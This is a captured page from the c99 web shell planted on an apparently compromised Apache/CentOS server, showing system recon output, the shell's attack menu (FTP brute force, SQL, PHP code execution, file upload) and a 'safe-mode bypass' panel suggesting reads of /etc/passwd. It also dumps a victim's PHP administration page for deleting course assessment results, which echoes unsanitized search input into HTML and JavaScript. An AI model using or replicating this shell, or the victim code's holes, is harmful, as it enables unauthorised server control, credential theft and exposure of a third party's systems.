!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/fileupdate/eassess/admin/   drwxr-xr-x
Free 50.76 GB of 127.8 GB (39.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     2551-11-11-1.0.01-deleteResultAssess.php (11.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../link/function.php";
include_once 
"../class/clsClassAssess.php";
include_once 
"../class/clsCourseAssess.php";
include_once 
"../class/clsTimeTableAssess.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";

sendRequest();
doCheckAll();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oClass = new ClassAssess($oCA);
$oCourse = new CourseAssess($oCA);
$oTTA = new TimeTableAssess($oCA);
$oOFA = new OfficerAssess($oCA);
$oDA = new DefineAssessment($oCA);
$oAF = new AssessForm($oCA);

if(!
$acadYear)
    
$acadYear $GLOBALS["ACADYEAR"];
if(!
$semester)
    
$semester $GLOBALS["SEMESTER"];

?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="source/style.css" rel="stylesheet" type="text/css">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> 
      <a href="index.php?mm=1">ผลการประเมิน</a> <img src="../picture/ico3.gif" align="absmiddle" border="0">ลบผลการประเมิน</font></legend>
      <label> 
      <?php
        
if(!isset($acadYearSearch)&&(!isset($semesterSearch))){
                
$acadYearSearch $acadYear;
                
$semesterSearch $semester;
        }
        
$oSse = new SysSemesterDes($oCR);
?>
      <div align="center"><br>
    <form name="pc" method="post" action="<?php echo $PHP_SELF;?>">
          <table width="650" align="center" border="0" cellpadding="0" cellspacing="1">
            <tr> 
              <td height="194"><br>
                <table width="478" height="67" border="0" align="center" cellpadding="1" cellspacing="1" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                    <td width="374" height="32"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;&nbsp;<b>ปีการศึกษา</b></font> 
                      <input name="acadYearSearch" type="text" onKeyPress="if (event.keyCode < 48 || event.keyCode > 57) return false;" value="<? echo $acadYearSearch ?>" size="4" maxlength="4">
                      <font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">&nbsp;</font>&nbsp;&nbsp;&nbsp;&nbsp;<font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ภาคการศึกษา 
                      <select name="semesterSearch">
                        <?php

                        $oSse
->RSSysSemesterDes();
                        while(
$oSse->GetRecord()) {
                        
                    
?>
                        <option value="<?php echo $oSse->semester;?><? if($oSse->semester == $semesterSearch) echo "selected" ?>><?php echo $oSse->semesterName;?></option>
                        <?php
                                
}
                    
?>
                      </select>
                      </b></font></td>
                  </tr>
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                    <td height="32"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                      &nbsp;&nbsp;<b>ค้นหาจาก</b>&nbsp; 
                      <select name="selectSearch">
                        <option value="1" <? if(($selectSearch == 1) || ($selectSearch == "")){ echo "selected"; } ?>>รหัสรายวิชา</option>
                        <option value="2" <? if($selectSearch == 2){ echo "selected"; } ?>>ชื่อรายวิชา</option>
                      </select>
                      </font><font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"> 
                      <input name="inputSearch" type="text" size="30" maxlength="100">
                      </font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;</font><font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">&nbsp; 
                      </font><font face="Microsoft Sans Serif" size="2"><b> 
                      <input type="submit" name="search" value="ค้นหา">
                      </b></font></td>
                  </tr>
                </table>
                <br>
                <?
                
if($inputSearch != ""){
                
?>
                <table width="478" border="0" cellpadding="1" cellspacing="1"  align="center">
                    <tr><td width="8">&nbsp;</td><td width="16">&nbsp;</td><td width="16">&nbsp;</td><td width="358">&nbsp;</td> <td width="80">&nbsp;</td></tr>
                    <?    
                            $i 
0;
                            if(
$selectSearch == 1){
                                
$oCourse->SearchJoinByAcadSemLikeCourseCodeGroupByCourseId($acadYearSearch,$semesterSearch,$inputSearch);
                            }else if(
$selectSearch == 2){
                                
$oCourse->SearchJoinByAcadSemLikeCourseNameGroupByCourseId($acadYearSearch,$semesterSearch,$inputSearch);
                            }
                            if(
$oCourse->GetRecord()){ 
                                    
$i++;
                                    if((
$i%2) == 0)
                                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                                    else
                                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                    
?>      
                             <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_3"];?>" align="left"> 
                                <td height="22" colspan="4"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                      &nbsp;&nbsp;<b>รายวิชา</b>&nbsp;<? echo "( ".$oCourse->courseCode." )  "?>&nbsp;<? echo $oCourse->courseName ?></font></td>
                                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                                  <b> กลุ่มที่</b></font> 
                            <select name="section" onChange= "selectSection(this.form.section.value)" >
                                <?
                              $oClass
->SearchByCourseIdAcadSem($oCourse->courseId,$acadYearSearch,$semesterSearch);
                                while(
$oClass->GetRecord()){ ?>
                                      <option value="<?=$oClass->section?><?php echo ($oClass->section==$section) ? 'selected' '';?>><?=$oClass->section?></option>
                                <?php ?>
                            </select>
                        </td></tr>
                        <?
                    
if (!isset($section))
                        
$oClass->JoinSearchByCourseIdAcadSemSectionGroupClassIdProgramId($oCourse->courseId,$acadYearSearch,$semesterSearch,'1');
                    else
                        
$oClass->JoinSearchByCourseIdAcadSemSectionGroupClassIdProgramId($oCourse->courseId,$acadYearSearch,$semesterSearch,$section);
                    while(
$oClass->GetRecord()){
                    
$numDefine=0;
                    
$oOFA->RSTeacherInEassessByAcYSeClassId($acadYearSearch,$semesterSearch,$oClass->classId);
                    while(
$oOFA->GetRecord()){    
                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                    
?>
                    <td>&nbsp;</td><td><img src="../picture/user.gif" width="16" height="16" border="0"></td>
                    <td colspan="2" ><font size="1" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp;&nbsp;<b><?php echo $oOFA->prefixName.$oOFA->officerName."  ".$oOFA->officerSurname;?></b></font> </td>
                    <td>&nbsp;</td>
                      </tr>
        <?php $oDA->RSDefineTeacherByAcYSeClassIdOfficerId($acadYearSearch,$semesterSearch,$oClass->classId,$oOFA->officerId);
                    while(
$oDA->GetRecord()){    
                        
$oAF->SearchByKey($oDA->assid);
                        
$oAF->GetRecord();
        
?>
                      <tr>
            <td>&nbsp;</td><td>&nbsp;</td>
            <td ><input type="checkbox" name="order[<?=$numDefine?>]" value="<?=$oOFA->officerId?>" >
                    <input type="hidden" name="defineid[<?=$numDefine?>]" value="<?=$oDA->defineid?>" ></td>
            <td colspan="2"><?php if($oDA->flag == 7){?>
                                                <img src="../picture/icoa18.jpg" border=0>&nbsp;
                    <?php  }else{?>
                                                <img src="../picture/icoa15.jpg" border=0>&nbsp;
                    <?php } if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } echo "&nbsp;" ?>
                          <br> &nbsp; (ระหว่างวันที่ <? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                            - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?>)</td>
            </tr>
  <?php                $numDefine++;
                      } 
// end while oDA
                
}    // end while oFA    
            
//end while Classs

                
// end if    
                
?>
                 <tr><td colspan="5" align="center">&nbsp;</td></tr>
                <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_5"];?>">
            <?    if($numDefine == 0){ ?>
                    <td colspan="5" height="20" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                      ไม่ปรากฏการกำหนด
                      <? 
                            
if($inputSearch != ""){
                                if(
$selectSearch == 1){
                                     echo 
"รหัสวิชา '".$inputSearch,"' "
                                }else if(
$selectSearch == 2){
                                     echo 
"ชื่อรายวิชา '".$inputSearch,"' "
                                }
                            }else {
                                echo 
"รายการ"
                            }
?> กลุ่มที่ <?=$section?> ในแบบประเมินใด **</font></td></tr>
                  <?php  
                 
}else{ //   numDefine?>
                    <td colspan="4">
                    <input type="button" name="selectAll" value="เลือกทั้งหมด" onClick="doCheckAll(this.form, true);">
                    <input type="button" name="cancelAll" value="ยกเลิกทั้งหมด" onClick="doCheckAll(this.form, false);"></td>
                    <td align="center">
                    <input type="submit"  name="delete" value="ลบผลประเมิน" ></td>
                    </tr>
                <? // end  numDefine ?>
                      
                <? // end  inputSearch ?>
                </table>
                <table width="488" border="0" align="center">
                  <tr> <td colspan="2">&nbsp;</td></tr>
                  <tr>
                    <td colspan="2"><input type="button" name="back2" value="กลับสู่หน้าหลัก" onclick=" location.href = 'index.php?mm=1'" /></td>
                  </tr>
                </table>
              </td>
           </tr>
  </table>     
                  <input type="hidden" name="cnt" value="<?=$numDefine?>" >
</form>
      </div>
      </fieldset>
      <table width="742" border="0">
        <tr> 
          <td width="63" height="27"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><strong>หมายเหตุ 
            : </strong></font></td>
          <td width="669"><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">กรอกปีการศึกษา 
            เลือกภาคการศึกษา และกรอกรหัสรายวิชา หรือชื่อรายวิชา เพื่อค้นหาแบบประเมินที่ขึ้นกับชั้นปีนักศึกษา 
            และหลักสูตร</font></td>
        </tr>
        <tr> 
          <td height="27">&nbsp;</td>
          <td><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">เลือกคลิกที่รหัสวิชาหรือชื่อรายวิชา 
            เพื่อดูผลการประเมิน</font></td>
        </tr>
        <tr>
          <td height="27">&nbsp;</td>
          <td>&nbsp;</td>
        </tr>
      </table> </td>
</tr>
</table>
<form name="silent" id="silent" style="margin:0px; padding: 0px;" method="post"></form>
<?php
showFooter
();
?>
<script language="JavaScript1.2">
function selectSection(section){
    location.replace("<?php echo $PHP_SELF;?>?selectSearch=<?=$selectSearch?>&inputSearch=<?=$inputSearch?>&acadYearSearch=<?=$acadYearSearch?>&semesterSearch=<?=$semesterSearch?>&section="+section);
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0199 ]--